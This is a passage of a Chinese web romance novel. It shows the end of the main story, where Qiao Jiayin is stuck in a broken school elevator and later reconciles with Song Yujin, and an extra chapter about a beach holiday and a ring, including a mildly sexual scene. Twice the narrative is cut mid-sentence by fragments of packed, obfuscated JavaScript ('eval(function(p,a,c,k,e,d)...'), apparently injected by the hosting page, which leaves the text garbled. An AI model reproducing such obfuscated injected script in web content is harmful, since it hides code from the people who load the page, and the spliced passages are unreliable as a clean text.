宋玉津猜到发生什么,无可奈何地叹一口气,问孙沁:“乔迦茵要来,是不是?”非要和他绕这么个弯子。 孙沁点头说:“她来替温见竹学姐,不过她说自己单独过来,我就安排她最后一个讲。” 她有些紧张地补充,“是她让我不要说的!尤其不要告诉你!” “我知道,她就这么无聊。”宋玉津安抚了她一句,拿起手机给不愿光明正大出场的反派角色发消息。 【你已经在学校了?我来找你】 乔迦茵没回复。 宋玉津又发:【孙沁都告诉我了】 还是没有回应。 她没看手机? 刚好孙沁叫他去试讲一下,宋玉津将手机收起,向讲台走去。 * 乔迦茵遇到了一点突发状况。 她拎着果茶外卖回来,想去五楼图书馆坐一会儿,就进了中央大楼的电梯。 结果现在电梯故障,升到三楼后停了,门打不开。 电梯里除她之外,还有一个学生。女生,年纪很小,可能才高一,她按的三楼,发觉电梯门没有如常移开时,脸上立即现出惊慌。 乔迦茵原本站在靠内位置,向她开口说:“没事,我看看。” 她走到门边按了几次开门键,又按了其他楼层键,都没反应,电梯一动不动,于是按下了对讲机求救铃。 扩音器里传来一些忽远忽近的电流声,没有人接起。 乔迦茵转向那个女生:“你带手机了吗?给你们老师打个电话。” 那女生小声说:“没……” “还是要多多违反校规啊。”乔迦茵说。 她换过几次手机,高中老师们的电话早就在通讯录的几次更替中丢失殆尽,再打开微信一看,无网络。 这么多年,中央大楼的信号还是如此之差。 乔迦茵又按了几次无线对讲,那边始终没有人接。她心想也是,学生时代有时路过监控室,好几回里面都是无人状态。 电梯空间狭窄逼仄,密不透风,她看那个女生脸色越来越差,问:“你还好吗?” “嗯,我没事。”女生说,怎么看都很勉强,“老师,您有什么办法吗,我还要去上课……” “我不是老师。”乔迦茵说,“也不用说您。” 没办法了。 她从通讯录里翻出宋玉津的号码,打了过去。 “喂?是我,我现在在明雅的中央大楼,电梯坏了,出不来。” 出乎意料的是,宋玉津听闻她在高中,反应竟然挺平静,好像早就知道:“好,我帮你去找人。” 乔迦茵道:“咦,你一点都不惊讶吗?” 语气里隐隐有点失望。 宋玉津握着电话走出演讲厅,失笑道:“我惊讶死了。你是不是没看微信。” “没信号这里。” 说完就断线了。 看来信号真的很差,宋玉津很快拨了回去,道:“中央大楼哪一部电梯,你一个人?” “左边,能直接进图书馆那部,还有个学生。”乔迦茵说,“她急着上课呢。” “都快下课了。” 刚说完,下课铃就响了。 下课铃电梯里也听得到,就是比较朦胧,像隔了层纱布。乔迦茵看那女生脸色惨白,安慰道:“没事,你这是特殊情况,不会算你旷课的。真旷课一次两次也不会怎么样。” 宋玉津在电话里说:“你别带坏小朋友。” “你也不是什么好榜样。”乔迦茵道。 他应该是走得很快,有轻微的喘气声传过来,闻言笑了下,说:“好吧。”然后顿了一会,“监控室好像没人,我去保安处找人。” 等他赶到保安处讲清楚原委,第二节上课铃响了。 全校的班会课开始了。 电话又断了,宋玉津再拨过去,说:“说是现在叫维修人员过来,应该很快能到。” “很快”这个说法也挺模糊的,乔迦茵拿下手机看了眼时间:“好,我没问题,不过——” “不过什么?”宋玉津问。 “我手机没电了。” 话音刚落,通话就断了,这次是因为手机自动关机。 乔迦茵无奈地放下手机,对女生说:“学校叫维修人员了,我们等他们过来就行。” 那女生说“好”,又怯怯问:“要等多久啊?” 乔迦茵没有类似经验,也说不准:“看他们从哪里出发?” 显然没安慰到她。 乔迦茵又说:“没事,我们只是门坏了,应该是小问题,电梯没有疯狂下坠就行。” 女生脸色从不安变成了惊恐。 这台电梯很老了,地板会自己发出声音,灯光昏暗,按键数字磨损太多,有些模糊不清,四面倒映出她们两人的影子。 自从到了三楼,门打不开后,电子屏上一直显示的3F。 此时仿佛要应验乔迦茵说的话一样,整个电梯厢哐啷一声,剧烈地抖了一下。 女生短促地尖叫一声,站不住似的,立即蹲坐下来。 乔迦茵脸色也瞬间变得不好,她靠着墙,望见电子屏的3F疯狂闪烁起来,随后倏地熄灭不见,变作“故障”二字。 她想,宋玉津大概已经开始分享了,之前孙沁把他安排在第一个。 又想,维修人员如果姗姗来迟,讲座时间结束,她就会彻底错过,和不来没什么区别。 个人选择确实是没什么意义,总会被现实里的种种变化打乱步伐。 比如说,如果这台电梯接下来要急速下坠,或者不受控制地冲顶,她今天真在电梯里出什么意外…… 乔迦茵这才迟钝地感觉到害怕。手机失去电量成了块废铁,想给谁打电话也没有办法,身上什么都没带,写下任何留言的机会也没有。 而且给宋玉津留下的最后一句话是“我手机没电了”,太黑色幽默了。 等了一阵,电梯没有再动。 不过乔迦茵也不敢掉以轻心了,靠着墙角站着,始终保持警惕。 她手上没手机,女高中生手上也没戴表,在封闭环境里,人对时间的感知变得模糊。乔迦茵觉得似乎已经过去很久很久,门外传来了响动。 她们先是吓了一跳,然后就听见宋玉津的声音:“乔迦茵,你在里面吗?” 乔迦茵愣了下,说:“在。” “你等一下,马上就开了。” 两道门被扒开一道三指宽的缝隙,外面的光线争先恐后地涌进电梯厢。 维修人员把门弄开了。她一走出电梯,就落入一个熟悉安稳的怀抱里。 宋玉津抱得很紧,手掌重重地扣着她后背,小声说:“没事了。在里面有没有害怕?” 乔迦茵蓦然鼻酸,但还是说:“你看上去比我更怕。” “我打不通你电话。” “没电了。” “嗯,我知道。”他顿了顿,说,“确实很害怕,你吓死我了。” 乔迦茵想起什么,从他口袋里摸出手机看了眼时间,在电梯里以为过去很久,其实也才半个钟不到。 她说:“你分享完了?现在是不是……” “我没讲。”宋玉津察觉她要挣脱,手臂扣得更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她说这些时面无表情,因为临近结束,语速还偏快,显得非常冷漠。 但此时目光淡淡扫向后方角落,望见宋玉津时微微笑了一下。 “——甚至或有机会,续上更好的结局。” * 讲座结束后,乔迦茵和宋玉津在校园的林荫道上牵着手散了会儿步。放学的学生们三三两两拖着行李箱往校门走去,经过他们时会好奇地张望过来,有些听了讲座的,大着胆子向他们打招呼。他们也微笑着回应了。 “你见了闫倩吗?”乔迦茵问他。 “嗯,你要去见吗?她应该还没走。”宋玉津说,“她怀孕了。” “那还是算了,幸好我没去。”乔迦茵道,“怕我和她吵起来,动她胎气。” “年级主任倒是有向我问起你,不过她这个点忙着检查值周。” “她还记得我啊?” “非常深刻,我的名字想了半天,乔迦茵三个字却脱口而出。” 乔迦茵笑了一下,侧过头看着他说:“对了,宋玉津,你这些天是不是不大开心?” 宋玉津说:“我自己的问题。” “我的态度可能谈不上像你那么认真,但是我没有在随随便便地和你交往,不是玩乐的心态。”乔迦茵有点不知道该怎么说,拇指在他手上来回刮弄,“我告诉我妈了,我们两个在一起。我脾气是不好,你也不用一味地迁就我,我不想让你难过的。” 宋玉津盯着她没说话。 乔迦茵音量放轻,道:“其实,也许我爱你。只是我自己一直没敢确认。” 宋玉津很快速地眨了几下眼睛,嘴角的笑意收敛起来,眼圈有一点红了,紧紧抓着她的手。 “我好爱你。”他说。 又靠近一些,小声问,“现在可以亲你吗?” 好烦啊,连这都要问,这个人真有毛病的。她都仰着头在等了。 乔迦茵腹诽完,说:“可以。” 北风穿堂绕巷,沿着林荫道疾驰过来,将他们的头发吹得乱七八糟。 一如长此以来他们之间混乱纷杂的现实。 当初写下“愿诸神俯允我从爱情中脱身”的男生,并未得到诸神的恩准。 当初在中央大楼里独自写检讨而错过告别的女生,多年以后在中央大楼被他找到。 犹如口不应心的倦鸟迟迟归巢,在时隔多年的傍晚时刻,他们的吻终于落在了年少时喜欢的人的嘴唇。 55. 番外1:一年后:夜海 海浪拍岸声忽远忽近,空气里有腥咸的潮湿味道。这片沙滩越到夜半时分越热闹,岸上支起几个白帆一般的顶棚,底下亮起幽幽的暖光,开着露天清吧。异国景区,周遭谈笑声什么语言都有。 乔迦茵坐在吧台附近,又点了一杯椰林飘香。 她喝得慢,原来那杯也没喝完,就是看别人手上拿着的椰林飘香漂亮,眼馋。 期间调酒师小哥似乎想和她搭话聊两句,乔迦茵指一下戴着的耳机,又晃了晃手机屏幕,示意在电话。 耳机里是温见竹的声音:“你这个假也太长了吧,羡慕!……X岛是不是超级好看?我之前刷到过图,海水特别蓝。” 乔迦茵道:“是的,非常美,我们白天还去浮潜了。” 温见竹冷不丁问她:“你会办海边婚礼吗?” 乔迦茵险些被呛到:“……太突然了吧?没有这个计划。” “随便设想一下。”温见竹道,“和谁结可以再说嘛。” 乔迦茵按照她说的想了想,缓慢地摇头:“我对海边的没什么兴趣,非要选的话,还是室内的好点。”她抿了一口酒,椰香在口腔中四溢,清甜的香气里延伸出朦胧的一点画面,“室内,不要请很多人,就几桌,简单放松一些,然后把所有人都灌得超醉,全部一起发酒疯,把场地搞得稀烂。”她说着,自己颇觉有趣笑了起来,“这种搞破坏的形式也不错。” 温见竹被她的形容小小震慑住:“……听上去是不错,不过好像和大家平时出来玩酒桌游戏差不多。就是规模更大些。” “人生就是大型酒桌游戏。”乔迦茵说,“这把输了下把赢,发发疯也没关系,玩得开心就好了。” “好心态。”温见竹赞了一句,又说,“到时可以让盛霏做婚车司机,把你们两个送走,我们在后面扔鲜花彩带,美式婚礼那个情景。” 她在今年乔迦茵生日时见过盛霏一次,两人见面时间虽短,相谈甚欢。 乔迦茵说得高兴起来,兴致勃勃道:“可以,让她开电车开到深山老林,开到没电然后我们打电话叫救援。” 温见竹服了她:“你想把婚礼搞成荒野求生。” “挺好玩的。”乔迦茵道。 又东拉西扯聊了几句之后,她们互道晚安,挂了电话,刚好宋玉津大步走了过来,在她身边坐下。 在海滩玩了大半天,她手机电量告急,他帮她回酒店拿充电宝。 调酒师过来,宋玉津用英文点了一杯,语气非常礼貌,脸上挂着客气的微笑。 乔迦茵将手机充上电,看他一眼,问:“谁惹你了。” “没人惹我。”顿了一顿又说,“那个酒保一直看你。” 乔迦茵自然道:“人之常情。” 她视线转过去,正好和调酒师四目相对,她弯起唇笑了笑。 然后将椰林飘香拿到宋玉津手边:“这个好喝,你尝一下。” 宋玉津不明所以,就着她的手低头喝了一口,认可说:“确实挺好喝的。” 乔迦茵嗯嗯应和,那边调酒师对她比了个心碎的夸张动作,她没忍住笑了两声,将椰林飘香放在宋玉津手边,顺势靠过去一点。 她脸一近过来,宋玉津声音就小了:“怎么啦,累了吗?” “有点。”她一往他肩膀上贴,就开始犯迷糊,酒精作用下昏昏欲睡,刚好手机亮了一下,她打开看了眼,转头说,“我妈问我睡了没有。” 她休长假,和宋玉津出来旅游,事先知会过乔慕。眼下国内还是白天,看来乔慕还计算了时差。 宋玉津立即紧张起来:“你不要回她,让她当你睡了。我们很健康的。”紧接着他又自我推翻,“不行,那太假了,她肯定猜得到我们什么作息,你还是回吧——但她是不是要给你打电话?我好像还没准备好……” 乔迦茵慢腾腾抬手打字回复,他低头看了一眼前两个字,当即手忙脚乱地把她手机按下了:“非要这么直白吗!” “在做肌肉拉伸,这不能说吗?”乔迦茵莫名其妙道。 宋玉津:“……” 他沉默了一会儿,说:“没,是我的问题。你回吧。” 乔迦茵拿回手机,将输入完的回复发了过去,然后倚在他身上,神游天外地说:“住那种船屋看上去也很好玩,随处乱漂,心情不好就连人带房一起走了。”他们今天在海边就见到了一座旧船屋。 宋玉津评价:“像蜗牛。” “蜗牛?蜗牛?!”乔迦茵不轻不重地拍了他一记,“鲁滨逊、少年派、诺亚方舟,这么多故事,你跟我说蜗牛。” 宋玉津被她逗乐,立刻说“我错了”,然后说:“我才是蜗牛。” 什么乱七八糟的认错方式,乔迦茵无语得笑了,手按着他肩膀,仰头过去亲他。 他们断断续续接了一会儿吻,宋玉津眼神就有些变了,低低问她:“现在回去吗?” “回。”乔迦茵答完又挣扎了一下,说,“我把这杯喝完。”新点的椰林飘香都没喝几口。 * 乔迦茵快速猛喝椰林飘香的时候,宋玉津手机弹出几条消息。 温见竹:【帮你打听了,不喜欢海边婚礼,喜欢所有人发疯类型。】 温见竹:【你别贸然在海边求婚啊!人多她反而不高兴的。】 宋玉津先回了一句“谢谢”,见乔迦茵尚且没有注意到这边,又很快地打字回复。 宋玉津:【不是求婚,只是送她戒指】 下水浮潜的时候想送,为此还特地把戒指从盒子里取了出来放在衣服里,结果到了水下乔迦茵只顾着看海底风景,一个眼神都没给他。 温见竹:【?】 温见竹:【你搞那么隆重,还让我去打听消息,我以为要求婚】 宋玉津神色认真地输入“她目前应该没考虑过这个,所以我不会提”。 “提”字才打了一个t,乔迦茵将空酒杯放回桌上,没控制住力道,很响一声,像要砸店。 附近几个人茫然地张望过来,乔迦茵好像没意识到自己闹出的动静,转头对宋玉津说:“我们走吧?” 她语气如常,但咬字比平时松,宋玉津感觉刚才那杯把她灌醉了。 椰林飘香度数不高,但这么猛喝也是会有点劲头的。 今晚已确凿无疑地没了送戒指的时机,宋玉津无暇细思新的计划,熟练地伸手把人捞进自己怀里,把她随意披着的外套扣好,“走。” * 以宋玉津的经验,醉酒后的乔迦茵比平时更加冲动易怒一些。 冲动,主要体现在性方面,易怒,主要体现在方方面面。 比如现在,在走廊上还没进门,她就黏黏糊糊地抱着他贴上来,在他耳边发出些小而细碎的声音,宋玉津一个头两个大,忍得额角渗出轻微的汗,一边托着她一边掏房卡,尽量侧身去刷,乔迦茵又一直挡着,他折腾半天才开了门,把她带进来。 他把自己的包、她的包随便往旁边一放,总算能好好按住她,刚吻下来,乔迦茵就皱了眉头,脸偏开了。 “热。”她说,“怎么这么热,你别过来了。” 宋玉津被她打败,定格片刻,低头哄她:“已经开空调了。我把温度再调低点好不好?” “我自己调。”乔迦茵把他推开,走到中央空调控制屏前面,持续连按好几下,宋玉津怀疑她要把房间整成冰窖。 人造的冷风扑面而来。宋玉津耐心问她:“现在好了吗?” 乔迦茵嗯了一声,他就从背后抱过来,侧着头,脸贴着她的脖颈,一点点细密地吻上去。 她站不太稳,本能地伸手往后抓,在他胸口一片乱摸,突然问:“这是什么?” 宋玉津进了状态,压根没听清她说什么,亲了她一会儿,把她到处乱按的手扣下去,让她半靠着旁边柜子,另一只手把她裙子掀起来一些,俯身半跪在地毯上,仰着脸。 乔迦茵看出他要做什么,拽他手臂,拽不动:“等一下,先别……哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋玉津笨拙地回答:“那你别生气了。” “不是对你生气。”她说,“你一路都在准备这个,我一点没发现。” 船屋也好,水下也好,未在计划内的海滩酒吧也好,哪个场景送戒指给她都比搞到一半被她自己发现要强。 她只是对自己很恼怒,破坏了宋玉津或许准备许久的浪漫安排。 “还是怪你。”乔迦茵又说,“搞这么隆重干嘛。” “是,是,我的错。”宋玉津听到这里总算明白她在生哪门子气,把她圈进怀里,手顺着她头发,低声说,“我怕你不收,有点紧张。” 乔迦茵没说话,默默将有钻的女戒戴上了,再抬头看他。 宋玉津呼吸停了一瞬,随即像控制不住似的,将她放到桌子上,急切地俯身吻她的眼睛,又去吻她的嘴唇。 这晚做了好几回,两个人都一身汗,重新洗了澡睡觉。酒店的被子厚重柔软,躺进去就不省人事。到了凌晨四点,宋玉津总算想起一件重要事情,迷迷糊糊醒转过来,下床。 乔迦茵醉酒的时候神志不清,把这房间冷气开到16度。 宋玉津把它调回去,再睡眼惺忪地回到床上,给乔迦茵掖了一下被角。 乔迦茵闭着眼睛稍微动了一下,大概察觉到热源,往他怀里窝进来。 她半梦半醒地睁开眼。窗帘没有拉紧,泄出一些天光,黎明时分的蓝色晨光像氤氲的雾气弥漫室内,宋玉津整个人披着梦境一般的幽蓝光影。 宋玉津困得不行,察觉怀里动静后,无意识地亲了亲她额头,手臂收紧一些,很珍重的模样。 乔迦茵很快也沉沉睡过去。 他们一起做了一个很长、很好的梦。 END